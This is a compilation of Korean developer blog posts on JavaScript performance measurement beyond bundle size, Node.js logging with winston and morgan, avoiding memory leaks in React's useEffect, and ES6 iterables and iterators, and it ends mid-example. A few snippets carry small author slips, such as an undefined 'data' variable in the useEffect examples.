- 화면에서는 가리지만 접근성에서는 보이고 싶을 경우, `.sr-only`를 쓰자. (링크나 아이콘 버튼과 같이 접근성요소로 정보를 제공하고 싶은 경우)

---

Source: https://yceffort.kr/2021/02/javascript-performance-bundle-size.md
Title: 자바스크립트 성능과 번들 사이즈
Description: 자바스크립트 성능에 중요한 건 번들크기 만은 아니다. 근데 개발 하느라 이것도 잘 못챙기고 있는듯.
Date: 2021-02-27
Tags: javascript, web-performance

## Table of Contents

## 시작하며

자바스크립트 커뮤니티에서 요즘 가장 중요하게 생각하는 것중 하나는 번들 사이즈 인것 같다. 얼마나 많은 의존성을 가지고 있는가? 번들 사이즈를 더 작게 만들수는 없나? 레이지 로드를 잘 활용하고 있나? 사람들이 번들 사이즈에 대해 집착하는 이유 중 하나는 아무래도 눈에 잘 띈다는 점 때문일 거다. 물론, 번들 사이즈가 중요하지 않다는 것은 아니다. 하지만 번들 사이즈 외에도 중요한 것은 많이 있다.

- 파싱/컴파일에 걸리는 시간
- 실행 시간
- 파워 사용량
- 메모리 사용량
- 디스크 사용량

자바스크립트의 의존성은 위 모든 지표에 영향을 미친다. 위 지표는 그러나 번들 사이즈에 비해서는 덜 논의되는 편이다. 아무래도 번들사이즈에 비해 측정하기가 어렵기 때문일 것이다.

## 번들 사이즈

자바스크립트 코드의 크기를 논의 할 때, 우리는 명확히 할 필요가 있다. minified는 한 크기인가? gzip도? 트리쉐이킹은 했나? gzip 세팅은 제일 크게 했는가? 혹시 [brotli](/2021/01/brotli-better-html-compression)를 사용했는가?

사소한걸 피곤하게 따지는 것 같지만, 사실 크기를 논의 할 때, 특히 압축과 비압축사이에서는 굉장히 중요하다. 압축된 크기는 사용자 브라우저에 얼마나 빠르게 전달되는지에 영향을 미칠 것이고, 비압축된 사이즈는 사용자의 브라우저에서 얼마나 빠르게 파싱되고, 컴파일되고, 실행되는지에 영향을 미칠 것이다.

### Bundlephobia

자바스크립트 라이브러리 크기를 분석하는데 있어서 유용한 툴은 바로 [Bundlephobia](https://bundlephobia.com/)다. 라이브러리의 의존성을 볼 수도 있고, minified된 사이즈와 압축된 사이즈까지 볼수도 있고 다운로드에 걸리는 시간도 볼 수 있다.

![bundlephobia](./images/bundlephobia.png)

그러나 bundlephobia를 보는데 있어서 주의를 해야할 것이 있다.

- 여기에는 트리쉐이킹이 반영되있지 않다는 것이다. 라이브러리에서 특정 모듈만을 사용한다면, 다른 모듈들은 트리쉐이킹되어 줄어들 것이다.
- 또한 서브 디렉토리의 의존성에 대해서는 알수가 없다. 예를 들어 `preact`를 가져오는데 한 비용은 알수가 있다. 그러나 `preact/compat`에 대해서는 알 방법이 없다. `compat.js`가 정말 큰 파일이라도 그것을 알 방법이 없다.
- 만약 폴리필이 포함되는 경우 (`Object.assign()`나 `Buffer API`등 번들러가 주입하는 경우) 여기서 반드시 표시되지 않는다.

위의 요소들을 점검하기 위해서는, 번들러를 실행해서 결과물을 확인해보면 된다. 번들러는 서로 다 다르며, 설정과 여러가지 요소에 따라서 크기가 달라질 수 있다.

### Webpack Bundle Analyzer

[Webpack Bundle Analyzer](https://github.com/webpack-contrib/webpack-bundle-analyzer)는 웹팩 결과물로 나온 모든 청크들을 잘 보여주고, 어떤 모듈이 청크들을 구성하는지 확인할 수 있다.

![Webpack Bundle Analyzer](https://cloud.githubusercontent.com/assets/302213/20628702/93f72404-b338-11e6-92d4-9a365550a701.gif)

여기서 중요한 것은 `Parsed`와 `Gzipped`다. Bundlephobia와는 다르게 실제로 번들러를 거쳤을 때 의 크기를 볼 수가 있다.

### Rollup Plugin Analyzer

[Rollup Plugin Analyzer](https://github.com/doesdev/rollup-plugin-analyzer)는 번들의 크기를 빌드하는 과정에서 콘솔로도 볼 수 있다. 그러나, minified나 gzipped한 크기는 볼수가 없다.

그 외에도 아래와 같은 도구가 있다.

- [bundlesize](https://github.com/siddharthkp/bundlesize)
- [Bundle Buddy](https://www.npmjs.com/package/bundle-buddy)
- [Sourcemap Explorer](https://github.com/danvk/source-map-explorer)
- [Webpack Analyse](https://github.com/webpack/analyse)

## 번들 크기 말고 다른 것

앞에서도 언급했듯이, 번들사이즈가 전부는 아니다. 이 외에도 살펴볼 만한 다양한 것들이 많다.

### Runtime CPU Cost

첫번째 이자 가장 중요한 것중 하나는 런타임 시의 비용이다. 이는 여러가지 요소로 나눠서 생각해 볼 수 있다.

- Parsing
- Compilation
- Execution

이 세가지 요소는 기본적으로 엔드 투 엔드 비용으로, `require('something')` 이나 `import 'something'`를 호출 할 때 발생한다. 번들사이즈와도 연관이 있지만, 반드시 일치하는 것은 아니다.

```javascript
const start = Date.now()
while (Date.now() - start < 5000) {}
```

위의 이상한 코드를 살펴보자. Bunldephobia에서는 위 코드가 높은 점수를 받겠지만 (코드의 크기가 작기 때문에) 메인스레드를 무려 5초나 잡아먹는다. 위의 예제 처럼, 작은 라이브러리가 메인스레드에 악영향을 미치는 경우가 더러있다. DOM의 모든 요소를 순회하거나, 로컬 스토리지에 큰 배열을 포문을 돌거나 하는 등. 직접 모든 의존성을 하나하나 살펴 보지 않는 한, 내부에서 무엇을 하는지 알 수 없다.

Parsing과 Compilation은 모두 측정하기 어려운 항목이다. 브라우저는 바이트 코드 캐싱에 대한 최적화 기능을 가지고 있기 때문에 이 것들을 알기가 쉽지 않다. 예를 들어, 브라우저가 두세번째 페이지 로딩 부터는 파싱과 컴파일 단계를 거치지 않는다. 또는 자바스크립트가 서비스워커에서 캐싱을 했을 수도 있다. 따라서 실제로 브라우저가 미리 모듈을 캐시한다면, 모듈을 파싱하고 컴파일하는데 비용이 적게 든다고 생각할 수 있다.

따라서 100% 제대로 확인할 수 있는 방법은, 브라우저 캐시를 완전히 지우고 첫 페이지를 로딩하는 것이다. 일반적으로 이러한 작업은 private 모드나 주로 사용하지 않는 브라우저에서 이 작업을 수행한다. 또한 브라우저 확장 기능을 꺼둬야 한다.

또한 크롬의 기능을 활용하여 CPU 쓰로틀링을 4x 또는 6x를 설정해두는 것도 좋은 방법이다. 이는 하이엔드 개발자의 컴퓨터 보다 훨씬 더 실제 사용자를 더 잘 대표할 수 있다.

네트워크 속도의 경우, 네트워크 속도 조절 기능을 사용할 수 있다. (3G)

이를 모두 요약하자면, 다음과 같은 단계를 거친다.

1. 사생활 보호 모드로 브라우저를 킨다
2. `about:blank` 로 진입한다. (브라우저 홈 화면의 `unload` 이벤트를 측정하지 않기 위해)
3. 크롬의 DevTool을 연다
4. Performance Tab을 연다
5. Cpu와 네트워크 쓰로틀링을 켠다.
6. Record 버튼을 누른다
7. URL을 입력하고 엔터를 친다.
8. 페이지 로딩이 끝나면 레코딩을 중지한다.

![performance](./images/performance.png)

이제 최초 페이지 로딩시에 자바스크립트 코드가 parse, compile, execution에 걸리는 시간을 측정할 수 있다.

이에 덧붙여 [User Timing API](https://developer.mozilla.org/en-US/docs/Web/API/User_Timing_API)를 활용해서 웹 애플리케이션의 일부를 사용자에게 의미 있는 이름으로 표시한다. 루트 애플리케이션의 초기렌더링, 블로킹 XHR 호출 등 비용이 많이 들 것으로 우려되는 부분에 초점을 맞춘다. 만약 이러한 측정 작업으로 인한 오버헤드가 우려되는 경우, 프로덕션에서 이러한 기능을 제거하는 방법도 있다. [쿼리 파라미터를 사용해서](https://github.com/nolanlawson/pinafore/blob/ba3b76f769455908eca9f6f59584d18e2bd19f0e/src/routes/_utils/marks.js) 측정 기능을 끌 수도 있고, [terser의 pure_funcs](https://terser.org/docs/api-reference.html#compress-options)를 활용해서 제거할 수도 있다.

```javascript
const enabled =
  process.browser &&
  performance.mark &&
  (process.env.NODE_ENV !== 'production' ||
    (typeof location !== 'undefined' && location.search.includes('marks=true')))

const perf = process.browser && performance

export function mark(name) {
  if (enabled) {
    perf.mark(`start ${name}`)
  }
}

export function stop(name) {
  if (enabled) {
    perf.mark(`end ${name}`)
    perf.measure(name, `start ${name}`, `end ${name}`)
  }
}
```

또 다른 유용한 도구는 [mark loader](https://github.com/statianzo/mark-loader)다. 이 플러그인은 디펜던시 런타임 비용을 볼수 있오록 모듈을 측정 api로 감싸는 웹팩 플러그인이다.

런타임 성능을 측정 할 때 한 가지 주의해야 할 점은, 축소된 코드와 그렇지 않은 코드 사이에 다를 수 있다는 것이다. 사용되지 않는 함수들이 제거 될 수 있고, 코드가 더 작아지고 최적화 될 수 있으며, `env.NODE_ENV === 'development'`로 인해 프로덕션 모드에서 코드가 정제될 수도 있다. 이러한 상황을 잘 해결할 수 있는 방법은, `performance.mark`와 `performance.measure`를 활용하는 것이다.

### Poser Usage

굳이 환경보호론자가 아니더라도 전력 사용을 최소화하는 것이 중요하다는 것은 누구나 알 것이다. 사람들은 점점 전원 콘센트가 꽂히지 않은 모바일 기기에서 웹을 많이 검색하고 있다. 그리고 고객들은 잘못된 웹사이트 때문에 전력이 바닥나는 것을 원치 않을 것이다.

전력 사용량은 CPU 사용량의 부분집합으로 취급되곤 한다. 몇 가지 예외를 제외하면, 대부분의 경우 웹사이트가 과도한 전력을 사용하는 이유는 메인스레드에서 과도하게 CPU를 사용하기 때문이다.

따라서 앞에서 설명한 자바스크립트의 parse/compile/execute 시간을 개선한다면, 전력 소비량도 줄일 수도 있다. 특히 수명이 긴 웹 애플리케이션의 의 경우, 대부분의 전력 소모가 첫 페이지 로드 이후에 발생한다. 그렇게 되면 사용자가 유휴 웹 페이지만 보고 있어도, 노트북 팬이 돌아가거나, 휴대폰이 뜨거워지는 것을 알아차릴 수 있다.

이러한 상황에서 선택할 수 있는 도구는 앞서 말한 Chrome DevTools의 Performance 탭이다. 일반적으로, 타이머 또는 애니메이션으로 인해 CPU 사용량이 증가한다. 예를 들어 잘못 코딩된 커스텀 스크롤바, Intersection Observer Polyfill 또는 애니메이션 로딩 스피너는, 매 requestAnimationFrame 이나 setInterval 루프에서 반복되고 있을 수 있다.

이러한 종류의 전원 누수는 또한 최적화되지 않은 CSS 애니메이션으로 인해 발생할 수 있다. 즉, 자바스크립트의 문제가 아닐 수도 있다. (이 경우 Chrome UI에서 보라색으로 표시된다.) CSS 애니메이션을 오래 실행하는 경우, GPU 가속 CSS 속성을 사용해야 한다.

Chrome Performance Monitor Tab은 Performance Tab과 다르다. 수동으로 추적을 시작/중지할 필요 없이 웹사이트가 작동하는 방식을 보여주는 일종의 하트비트 모니터다. 비활성 웹 페이지에서 CPU 사용량이 일정하지 않으면 전원 사용에 문제가 있을 수 있다.

![performance monitor](./images/performance-monitor.png)

> [performance monitor](https://developers.google.com/web/updates/2017/11/devtools-release-notes#perf-monitor)

### Memory Cost

메모리 사용량 분석은 어려웠지만, 최근에는 많은 도구들이 나오면서 개서되었다.

한가지 중요한 것은, 메모리 사용량과 메모리 누수는 별개의 문제라는 것이다. 별도의 메모리 누수가 없다 하더라도, 메모리 사용량이 높을 수도 있다. 반면 작은 규모의 웹사이트가, 유출로 인하여 메모리 사용량이 커질 수도 있다.

메모리 사용량을 분석하는 api는 [performance.measureUserAgentSpecificMemory](https://www.chromestatus.com/feature/5685965186138112)가 있다. 이 API는 다음과 같은 이점이 있다.

1. 가비지 콜렉팅 된 이후에 resolve 되는 Promise를 반환한다.
2. 자바스크립트 VM 크기 뿐만 아니라, 웹 워커와 iframe 등을 포함하는 DOM 메모리도 포함한다.
3. site isolation로 인해 프로세스가 분리된 cross-origin iframe도 세분화한다. 따라서 embedded나 광고가 메모리를 얼마나 먹는지 판단할 수 있다.

```javascript
{
  bytes: 60_000_000,
  breakdown: [
    {
      bytes: 40_000_000,
      attribution: [
        {
          url: "https://foo.com",
          scope: "Window",
        },
      ]
      types: ["JS"]
    },
    {
      bytes: 0,
      attribution: [],
      types: []
    },
    {
      bytes: 20_000_000,
      attribution: [
        {
          url: "https://foo.com/iframe",
          container: {
            id: "iframe-id-attribute",
            src: "redirect.html?target=iframe.html",
          },
        },
      ],
      types: ["JS"]
    },
  ]
}
```

위에 있는 `bytes`는 사용중인 메모리 양을 나타내는 지표다.

이 API를 사용하는 것은 그럼에도 여전히 까다로울 수 있다. 일단 Chrome 89+에서만 사용할 수 있다. (오래된 버전의 경우 실험용 기능을 체크하고 쓸 수 있다) 그러나 더 문제가 되는 것은, 이를 남용할 가능성 때문에 이 API의 호출은 cross-origin 의 격리된 컨텍스트로 제한되었다는 것이다. 따라서 일부 특수 헤더를 설정해야 하며, cross-origin 리소스 (외부 CSS, 자바스크립트, 이미지 등)에 의존하는 경우 일부 특수 헤더도 설정해야 한다.

이 API를 자동화된 테스트에만 사용할 계획이라면, `--disable-web-security`플래그를 사용하여 크롬을 실행할 수 있다. (물론 어느 정도 위험성을 감수해야 한다.) 그리고 또한가지 참고해야 할 것은, 메모리 측정은 헤드리스 모드에서는 작동하지 않는다는 것이다.

물론, 이 API 는 세분화해서 데이터를 제공하지 않는다. 예를 들어 리액트와 lodash가 각각 몇 바이트를 차지 하는지는 정확히 알 수 없다는 뜻이다. 이를 위한 가장 확실한 방법은 A/B 테스트다. 이는 메모리 측정을 위해 기존에 사용했던 방법보다 훨씬더 나은 방법이다.

### Disk Usage

디스크 사용량은 장치에 따라 사용 가능한 저장 용량에 따라 브라우저 할당량 제한에 걸릴수도 있으므로 웹 애플리케이션 사용에 있어서 중요하게 고려해야 한다. 과도한 스토리지 사용은 서비스워커 캐시에 너무 많은 대용량 이미지를 채우는 등 여러가지 형태로 나타날 수 있으며, 자바스크립트 또한 마찬가지다.

자바스크립트 모듈의 디스크 사용량이 번들 크기와 직접적인 상관관계가 있다고 생각할 수 있지만, 꼭 그런것 만은 아니다. 예를 들어 [emoji-picker-element](https://github.com/nolanlawson/emoji-picker-element)의 경우, 이모지 데이터를 indexeddb에서 꽤나 무겁게 사용하고 있기 때문에, 데이터베이스가 디스크 사용을 어떻게 사용하고 있는지 인식해야 한다.

![application-storage](./images/application-storage.png)

크롬 DevTools에 있는 Application Tab에서 현재 웹사이트가 사용하고 있는 전체 용량을 알 수가 있다. 처음 보기엔 괜찮아 보이지만, IndexedDB 의 경우 브라우저 마다 구현 방식이 다르기 때문에 브라우저 마다 차지하는 용량이 다르게 나타날 수 있다. 이를 해결할 수 있는 방법 중하나는 Puppeteer와 비슷한 [Playwright](https://github.com/microsoft/playwright)에서 아래 코드를 실행하는 것이다.

```javascript
function getIdbFolder(browserType, userDataDir) {
  switch (browserType) {
    case 'chromium':
      return path.join(
        userDataDir,
        `Default/IndexedDB/http_localhost_${port}.indexeddb.leveldb`,
      )
    case 'firefox':
      return path.join(
        userDataDir,
        `storage/default/http+++localhost+${port}/idb`,
      )
    case 'webkit':
      return path.join(
        userDataDir,
        `databases/indexeddb/v1/http_localhost_${port}`,
      )
  }
}
```

초기화된 빈 브라우저를 시작할 수 있으므로, 브라우저를 먼저 시작하고 `/temp`에 스토리지를 기록한다음, 인덱싱된 스토리지를 측정하는 것이 가능하다.

## 결론

성능이란 것은 다방면적인 측면을 고려 해야 한다. 번들 사이즈만 줄여서 해결된다면 좋겠지만, 여러가지 측면을 고려해야 한다. 이 때문에 이것이 굉장히 부담스럽게 느껴질 수도 있다. 그래서 [core web vital](https://web.dev/vitals/)이나 번들 사이즈에 집중해서 문제를 해결하는 것이 꼭 나쁜 것 만은 아니다. 웹 애플리케이션 성능 측정에 여러가지를 고민해야 한다고 말하면, 사람들은 이에 압도되서 아무것도 안 할수도 있다. 그렇지만, 이런 것도 있다는 것을 알아둔다면 최적화에 도움이 되지 않을까.

> 참고: https://nolanlawson.com/2021/02/23/javascript-performance-beyond-bundle-size/

---

Source: https://yceffort.kr/2021/02/logging-in-nodejs.md
Title: Nodejs에서 로깅하기
Description: 어쩌다 보니 nodejs도 하고 있🤣
Date: 2021-02-26
Tags: nodejs, backend

\*\* 주의: 제가 하고 있는 프로젝트의 방향성과는 다를 수 있습니다

로깅은 서버사이드에서 중요한 처리 중 하나다. 서버에서 어떤 일들이 일어나고 있는지 알 수 있고, 의도치 않은 동작이나 버그가 발생했을 경우 재빠르게 원인을 찾을 수 있다. 본문에서는 nodejs에서 로깅을 남기는 몇가지 좋은 사례를 알아본다.

## Table of Contents

## 0. 시작하기전에

한가지 알아둬야 할 것은, 모든 정보를 로깅으로 남겨서는 안된다는 것이다. 로깅이 성능과 데이터 용량에 영향을 미치는 것도 있지만, 그것보다도 더 중요한 것은 주민등록번호, 카드번호, 암호와 같은 민감한 정보는 절대로 남겨서는 안된다.

## 1. console.log로 시작하기

자바스크립트를 배운 순간부터 지금까지 (...) 가장 많이 사용하 있는 `console.log`다. 개인적으로도 급한 프로젝트를 휙휙 처리하다보면 로깅을 `console.log`로 남기곤 했다 (죄송합니다). 조금 더 나아가서 `console.error` `console.group` 등을 사용하는 경우도 있다. `console.log`는 코드 자체가 없어보이는 것은 둘째치고 [자바스크립트의 성능에 안좋은 영향을 미친다.](https://stackoverflow.com/a/11426318) 따라서 본격적으로 로깅을 원한다면, 진짜 로깅에 사용되는 라이브러리를 사용하는 것이 좋다.

## 2. 로그 라이브러리 사용하기

node 진영에서 가장 많이 사용되는 로깅 라이브러리는 크게 다음과 같다.

- [winston](https://github.com/winstonjs/winston): 로그를 별도의 데이터베이스 등에 저장하고 싶을 때. 내가 거친 프로젝트가 대부분 이걸 썼던 것 같다.
- [bunyan](https://github.com/trentm/node-bunyan): CLI가 기가막히다
- [log4js](https://github.com/log4js-node/log4js-node): 로그 스트림, aggregator 등 지원

```javascript
const winston = require('winston')
const config = require('./config')

const enumerateErrorFormat = winston.format((info) => {
  if (info instanceof Error) {
    Object.assign(info, {message: info.stack})
  }
  return info
})

const logger = winston.createLogger({
  level: config.env === 'development' ? 'debug' : 'info',
  format: winston.format.combine(
    enumerateErrorFormat(),
    config.env === 'development'
      ? winston.format.colorize()
      : winston.format.uncolorize(),
    winston.format.splat(),
    winston.format.printf(({level, message}) => `${level}: ${message}`),
  ),
  transports: [
    new winston.transports.Console({
      stderrLevels: ['error'],
    }),
  ],
})

module.exports = logger
```

로깅 라이브러리는 일반적인 `console.log`을 사용하는 것보다 여러 측면에서 좋다. 성능에도 더 좋고, 기능도 다양하고, 쉽게 알록달록하게 만들수도 있다.(?)

## 3. Morgan으로 node내 http 요청 로깅하기

또 다른 좋은 습관 중 하나는 nodejs 애플리케이션 내 http 요청을 로깅하는 것이다. 이를 위한 좋은 라이브러리가 바로 [morgan](https://github.com/expressjs/morgan) 이다. 이 도구는 서버 로그를 가져와서 체계화 시켜 읽기 쉽게 만들어 준다.

```javascript
const morgan = require('morgan')
app.use(morgan('dev'))
```

이미 정의된 문자열 포맷을 사용하려면

```javascript
morgan('tiny')
```

를 쓰면 된다.

### winston + morgan

```javascript
const morgan = require('morgan')
const config = require('./config')
const logger = require('./logger')

morgan.token('message', (req, res) => res.locals.errorMessage || '')

const getIpFormat = () => (config.env === 'production' ? ':remote-addr - ' : '')
const successResponseFormat = `${getIpFormat()}:method :url :status - :response-time ms`
const errorResponseFormat = `${getIpFormat()}:method :url :status - :response-time ms - message: :message`

const successHandler = morgan(successResponseFormat, {
  skip: (req, res) => res.statusCode >= 400,
  stream: {write: (message) => logger.info(message.trim())},
})

const errorHandler = morgan(errorResponseFormat, {
  skip: (req, res) => res.statusCode < 400,
  stream: {write: (message) => logger.error(message.trim())},
})

module.exports = {
  successHandler,
  errorHandler,
}
```

위 예제에서 보이는 것처럼, 두 라이브러리를 함께 쓰기 위해서는 단순히 winston에 morgan에서 나온 결과물을 넘겨주면 된다.

## 4. 로그레벨 정의하기

로그의 이벤트를 구분하기 위해서 로그 수준을 체계적으로 정리하는 것이 중요하다. 이를 잘 정리해두면, 필요한 정보만 빼다가 쉽게 알아낼 수 있다. 로그 수준에는 여러개가 있지만, 다음과 같이 나누는 것이 일반적이다.

- error
- warning
- info
- debug

## 5. 로그 관리 시스템 사용하기

애플리케이션의 크기에 따라서 별도로 로그를 관리하는 시스템을 가져다 쓰는 것이 좋을 수도 있다. (물론 그냥 cat grep 할 수도 있겠지만) 로그 관리 시스템을 사용하면, 실시간으로 로그를 추적하고 분석할 수 있으므로 코드를 개선하는데 용이하다. 주로 사용하는 프로그램은 다음과 같다.

- [Sentry](https://sentry.io/welcome/) 사실 이거밖에 안써봄
- [Loggly](https://www.loggly.com/)
- [McAfee Enterprise Log Search](https://www.mcafee.com/enterprise/ko-kr/products/enterprise-log-search.html)
- [Graylog](https://www.graylog.org/)
- [Splunk](https://www.splunk.com/)
- [Logmatic](https://logmatic.com/)
- [Logstash](https://www.elastic.co/kr/logstash) 생각해보니 엘라스틱 서치 쓰느라 이것도 써본듯

## 6. 상태 모니터링 도구

상태 모니터링 도구는 서버 성능을 추적하고, 애플리케이션 충돌 또는 다운타임의 원인을 식별해 낼 수 있는 좋은 방법이다. 대부분의 도구는 오류 스택 추적과, 성능 모니터링 기능을 제공한다. Nodejs에서 유명한 도구는 다음과 같다.

- [PM2](https://pm2.keymetrics.io/): 가장 유명한 도구
- [Sematext](https://sematext.com/)
- [Appmetrics](https://www.app-metrics.io/)
- [ClinicJS](https://clinicjs.org/)
- [AppSignal](https://appsignal.com/)
- [Express Status Monitor](https://github.com/RafalWilinski/express-status-monitor)

## 7. 결론

로그도 확인 할 필요 없이 24/365로 잘돌아가는 서비스가 있다면 좋겠지만, 사실 그런 인프라는 존재 하지 않는다. 운영환경을 모니터링하고, 오류를 줄이기 위해서 로깅은 개발자들에게 필수다.

---

Source: https://yceffort.kr/2021/02/memory-leak-and-useeffect.md
Title: useEffect와 메모리 누수
Description: https://overreacted.io/a-complete-guide-to-useeffect/ 도 시간나면 읽어보세용
Date: 2021-02-25
Tags: react, javascript

아래 코드는 일반적으로 `useEffect`를 활용해서 데이터를 가져오는 방식이다.

```javascript
import React, {useEffect} from 'react'

export default function App() {
  const [todo, setTodo] = useState(null)
  useEffect(() => {
    const fetchData = async () => {
      const response = await fetch(
        'https://jsonplaceholder.typicode.com/todos/1',
      )
      const newData = await response.json()
      setTodo(newData)
    }
    fetchData()
  }, [])
  if (data) {
    return <div>{data.title}</div>
  } else {
    return null
  }
}
```

dependency에 아무것도 넣지 않음으로써, 딱 한번만 실행되게 끔하고 싶었지만, 이는 여전히 레이스 컨디션과 메모리 누수에 취약하다. 만약 서버에서 응답이 오는 시간이 길어졌고, 그 사이에 컴포넌트가 unmount 되었다고 생각해보자. 컴포넌트는 사라졌지만, 여전히 요청은 대기 중이다. 그리고 요청이 온다면, `setTodo`에 값을 넣을 것이며, 리액트는 이제 아래와 같은 경고문을 내뱉을 것이다.

> Can’t perform a React state update on an unmounted component. This is a no-op, but it indicates a memory leak in your application. To fix, cancel all subscriptions and asynchronous tasks in a useEffect cleanup function.

마찬가지로, `id`를 의존성 목록에 넣어서 처리하는 경우도 있을 수 있다.

```javascript
import React, {useEffect} from 'react'
export default function App({id}) {
  const [todo, setTodo] = useState(null)
  useEffect(() => {
    const fetchData = async () => {
      const response = await fetch(
        `https://jsonplaceholder.typicode.com/todos/${id}`,
      )
      const newData = await response.json()
      setTodo(newData)
    }
    fetchData()
  }, [id])
  if (data) {
    return <div>{data.title}</div>
  } else {
    return null
  }
}
```

이 경우에도 마찬가지로, ID가 변경되었지만 요청은 여전히 오지 않는 경우 위와 같은 문제가 있을 수 있다.

## 해결책

```javascript
useEffect(() => {
  let isComponentMounted = true
  const fetchData = async () => {
    const response = await fetch('https://jsonplaceholder.typicode.com/todos/1')
    const newData = await response.json()
    if (isComponentMounted) {
      setTodo(newData)
    }
  }
  fetchData()
  return () => {
    isComponentMounted = false
  }
}, [])
```

unmount가 될 시에 요청이 늦게 와도 `setTodo`를 방지함으로써 문제를 해결할 수 있다. 그러나 물론 백그라운드에서는 여러개의 요청이 날라가고 있기 때문에 레이스 컨디션 문제가 발생할 수는 있다. 그래도 어쨌든, 마지막 요청의 결과만 UI에 표시된다.

더욱 확실한 방법은, [http fetch를 취소하는 `AbortController`를 사용하는 것이다.](https://developer.mozilla.org/ko/docs/Web/API/AbortController)

```javascript
useEffect(() => {
  let abortController = new AbortController()
  const fetchData = async () => {
    try {
      const response = await fetch(
        'https://jsonplaceholder.typicode.com/todos/1',
        {
          signal: abortController.signal,
        },
      )
      const newData = await response.json()
      setTodo(newData)
    } catch (error) {
      if (error.name === 'AbortError') {
        // requset를 abort하는 과정에서 에러 발생
      }
    }
  }
  fetchData()
  return () => {
    abortController.abort()
  }
}, [])
```

unmount가 되면 cleanup을 통해서 요청을 중단시켰다. 물론, `AbortController`를 사용하기 위해서는 polyfill도 필요할 것이다.

---

Source: https://yceffort.kr/2021/02/javascript-array-and-iterable.md
Title: 자바스크립트의 배열, 그리고 이터러블과 이터레이터 (ES6)
Description: 이터러블과 이터레이터 이름이 헷갈림
Date: 2021-02-21
Tags: javascript

자바스크립트는 6가지 원시 타입이 있으며, 그 외에는 모두 객체 타입이다. 따라서 배열도 객체 중 하나라고 볼 수 있다. 그렇다면 아래의 객체도 배열이라고 볼 수 있을까?

```javascript
const a = {
  0: 0,
  1: 1,
  2: 2,
  length: 3,
}

a[0] // 0
a[1] // 1
a[2] // 2
a.length //3
```

그렇다면 정확히 배열이라는 것은 무엇일까?

## 배열

### 기본 정보

배열은 아래 4가지 방법으로 생성할 수 있다.

- 배열 리터럴 (`[]`)
- Array 생성자 함수
- [Array.of](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/of)
- [Array.from](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/from)

```javascript
const a = {
  0: 0,
  1: 1,
  2: 2,
  length: 3,
}

const b = [1, 2, 3]

typeof a // object
typeof b // object

Object.getPrototypeOf(a) === Object.prototype
Object.getPrototypeOf(b) === Array.prototype // true
```

객체와 배열은 기본적으로 다음과 같은 서로다른 특징이 있다.

|                 | Object       | Array           |     |
| --------------- | ------------ | --------------- | --- |
| structure       | key & value  | index & element |     |
| reference       | property key | index           |     |
| order           | X            | O               |     |
| length property | X            | O               |     |

가장 큰 차이로는, 순서와 `length` property 유무다.

### 희소배열

자바스크립트의 배열은, 일반적인 밀집 배열이 아니다.

여기서 밀집 배열이란, 데이터 타입이 통일되어 있으며 서로 메모리 상에서 연속적으로 인접해 있는 배열을 의미한다. 밀집배열은 따라서 데이터에 접근하는게 효율적이고, 빠르다.

그러나 자바스크립트는 희소배열 형태로 되어 있다. 희소배열은, 밀집 배열과 반대로 배열의 요소를 위한 데이터 공간과 크기가 다르고, 연속적으로 밀집되어 있지도 않은 배열을 의미한다. 이경우 당연히 접근하는데 속도는 조금 느리지만, 요소를 삽입하거나 삭제하는 경우에는 더 빠르다.

## 이터레이션 프로토콜

이터테이련 프로토콜이란, 앞서 언급한 배열 처럼, 순회 가능한 자료 구조를 만들기 위하여 ECMAScript 에서 정의한 규악이다.

ES6 이전에는 배열, 문자열, DOM 콜렉션 등이 각자 방법으로 데이터를 순회할 수 있도록 구성되어 있었지만, ES6에 들어서면서 이러한 순회 가능한 데이터 들이 이터레이션 프로토콜을 준수하여 동일하게 동작하게 끔 설계했다. 이러한 이터레이션 프로토콜에는 두가지가 있다.

### 이터러블 프로토콜

어떠한 값들이 루프되는 것과 같은 이터레이션 동작을 정의하거나, 사용자 정의하는 것을 의미한다. 다시 말해, `Symbol.iterator`를 호출하면 이터레이터를 반환하는 것을 이터러블 프로토콜 이라고 한다.

즉, 해당 객체에 프로토타입을 통해서든, 직접 구현을 했든, `Symbol.iterator`를 호출할 수있고 그것이 이터레이터를 반환한다면, 이터러블이다.

```javascript
const a = {
  0: 0,
  1: 1,
  2: 2,
  length: 3,
}

const b = [1, 2, 3]

a[Symbol.iterator] // undefined
b[Symbol.iterator] === Array.prototype[Symbol.iterator] // true
```

### 이터레이터 프로토콜

값들의 순서를 만드는 표준 방법을 의미한다. 객체가 `next()`를 가지고 있고, 그 객체가 `value`와 `done` (`true`, `false`)를 리턴한다면 이터레이터 프로토콜을 준수한 이터레이터다.

## 나만의 이터러블 만들어보기

피보나치 배열을 리턴하는 이터러블을 만들어보자.

```javascript
const fibonacci = function (max) {
  let prev = 0
  let curr = 1

  return {
    [Symbol.iterator]() {
      return {
        next() {
          last = prev + curr
          prev = curr
          curr = last

          return {
            value: curr,
            done: curr >= max,
          }
        },
      }
    },
  }
}

const fibonacci100 = fibonacci(100)

for (const i of fibonacci100) {
  console.log(i) // 1, 2, 3, 5, 8, 13, 21, 34, 55, 89
}

const result = [...fibonacci100] // [1, 2, 3, 5, 8, 13, 21, 34, 55, 89]

const iterator = fibonacci(100)[Symbol.iterator]()

console.log(iterator.next()) // { value: 1, done: false }
console.log(iterator.next()) // { value: 2, done: false }
console.log(iterator.next()) // { value: 3, done: false }
console.log(iterator.next()) // { value: 5, done: false }
```

위와 같은 동작은 배열과 유사하다.

```javascript
const a = [1, 2, 3, 5]
const iterator = a[Symbol.iterator]()

console.log(iterator.next()) // { value: 1, done: false }
console.log(iterator.next()) // { value: 2, done: false }
console.log(iterator.next()) // { value: 3, done: false }
console.log(iterator.next()) // { value: 5, done: false }
console.log(iterator.next()) // { value: undefined, done: true}
```

## 이터러블 이면서, 이터레이터인 객체를 리턴

```javascript
const fibonacciFunc = function (max) {
  let prev = 0
  let curr = 1

  return {
    [Symbol.iterator]() {
      // 메소드 함수의 this는 메서드를 호출한 객체에 바인딩 된다.
      // 즉
      /*
            {
              next: [Function: next],
              [Symbol(Symbol.iterator)]: [Function: [Symbol.iterator]]
            }
            */
      return this
    },
    next() {
      last = prev + curr
      prev = curr
      curr = last

      return {
        value: curr,
        done: curr >= max,
      }
    },
  }
}

const fibonacci100 = fibonacciFunc(100)

for (const i of fibonacci100) {
  console.log(i) // 1, 2, 3, 5, 8, 13, 21, 34, 55, 89
}

const result = [...fibonacci100] // [1, 2, 3, 5, 8, 13, 21, 34, 55, 89]

const iterator = fibonacciFunc(100)

